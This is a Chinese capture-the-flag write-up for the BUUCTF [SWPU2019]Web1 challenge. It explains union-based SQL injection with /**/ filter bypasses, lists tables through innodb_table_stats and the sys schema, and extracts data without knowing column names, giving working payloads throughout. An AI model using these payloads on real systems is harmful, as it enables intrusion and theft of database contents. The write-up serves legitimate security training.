BUUCTF——[SWPU2019]Web1 sql无列名注入

题目地址:BUUCTF在线评测

目录

1.检查数据库列数

2. 查表

2.1 查表名

2.2查表名注入

2.3无列名注入

3.实战


1.检查数据库列数

首先使用

-1'/**/group/**/by/**/25,'2

检查数据库列数,小于25

检查到22时发现不报找不到列数了,即该表有22列。

查看回显位置

使用

-1'/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这里用select,参数个数必须要和表的列数相同,同时还需要闭合引号。 可以看到,回显的位置时2,3号位置。

2. 查表

2.1 查表名

2.2查表名注入

前提

information_schema数据库保存着mysql所有其他数据库的信息,包括了数据库名,表名,字段名等,但是如果waf过滤的这个数据库呢。

我们可以通过下面两种方式查找表名

InnoDb引擎

原理

在MYSQL5.6以上的版本中,inndb增加了innodb_index_stats和innodb_table_stats两张表,这两张表中都存储了数据库和其数据表的信息,但是没有存储列名。

使用

select * from mysql.innodb_table_stats;
​
select GROUP_CONCAT(table_name) from mysql.innodb_table_stats WHERE database_name=DATABASE();

 

sys数据库

sys数据库 在5.7以上的MYSQL中,新增了sys数据库,该库的基础数据来自information_schema和performance_chema,其本身不存储数据。

可以通过其中的schema_auto_increment_columns来获取表名。

select group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database();

使用的例子

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/sys.schema_auto_increment_columns/**/where/**/table_schema=schema()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22

注:sys库需要root权限才能访问。innodb在mysql中是默认关闭的。

2.3无列名注入

适用条件

information_schema 数据库跟 performance_schema 一样,都是 MySQL 自带的信息数据库。其中 performance_schema 用于性能分析,而 information_schema 用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等。

1:information_schema被过滤了

原理

无列名注入,顾名思义,就是不需要列名就能注出数据的注入。

如果你知道了表名,但是你查不到列名的话,可以使用这个方法去进行绕过。

无列名注入的原理其实跟给列赋别名有点相似,就是在取别名的同时查询数据。

正常查看列中元素

通过表中的列名去查看的。

 

无列名注入例子

现在假装我们不知道列名。(¬ω¬。)

1:先定一个虚拟表,列名为1,2,3。

 

注: 进行查询时语句的字段数必须和指定表中的字段数一样,不能多也不能少,不然就会报错

SQL SELECT * 实例

现在我们希望从 "Persons" 表中选取所有的列。

请使用符号 * 取代列的名称,就像这样:

SELECT * FROM one

提示:星号(*)是选取所有列的快捷方式。

2:通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。

 像这样就可以查询第二列的数据,在虚拟表中,列名都是1,2,3,所以我们在查询语句中要用 \2\ 而不能直接用 2 。末尾的 n 是用来命名的,也可以是其他字符。

也可以用下面的形式

 

As 实例: 使用一个列名别名

表 Persons:

IdLastNameFirstNameAddressCity
1AdamsJohnOxford StreetLondon
2BushGeorgeFifth AvenueNew York
3CarterThomasChangan StreetBeijing

SQL:

SELECT LastName AS Family, FirstName AS Name
FROM Persons

结果:

FamilyName
AdamsJohn
BushGeorge
CarterThomas

将1,2,3取别名

SELECT b from (SELECT 1 as a,2 as b,3 as c union SELECT * from one)a;
等价于
SELECT `2` from (SELECT 1,2,3 union  SELECT * FROM one)a;

 用group_concat整合

SELECT GROUP_CONCAT(`2`) from (SELECT 1,2,3 union SELECT * FROM one)a;
等价于
SELECT GROUP_CONCAT(b) from (SELECT 1,2 as b,3 union  SELECT * FROM one)a;

可以和join打配合。

下面简单举一下例子

union all select*from (select * from users as a join users as b using(id,username))as

union all select * from (select * from users as a join users as b)as

 爆出第一列

 爆出第二列。

3.实战

首先查表名

-1'/**/union/**/select/**/1,(select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

查询表内容

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/【(select/**/1,2/**/as/**/b,3/**/union/**/select/**/*/**/from/**/users)】a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

这里我为了方便看,加了粗体方括号。方括号内的是临时表的内容。 这里因为回显出来的位数是2,3,我直接查看的第二列,内容如下。

查看第三列

-1'/**/union/**/select/**/1,(select/**/group_concat(b)/**/from/**/(select/**/1,2,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'

拿到flag!!!

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值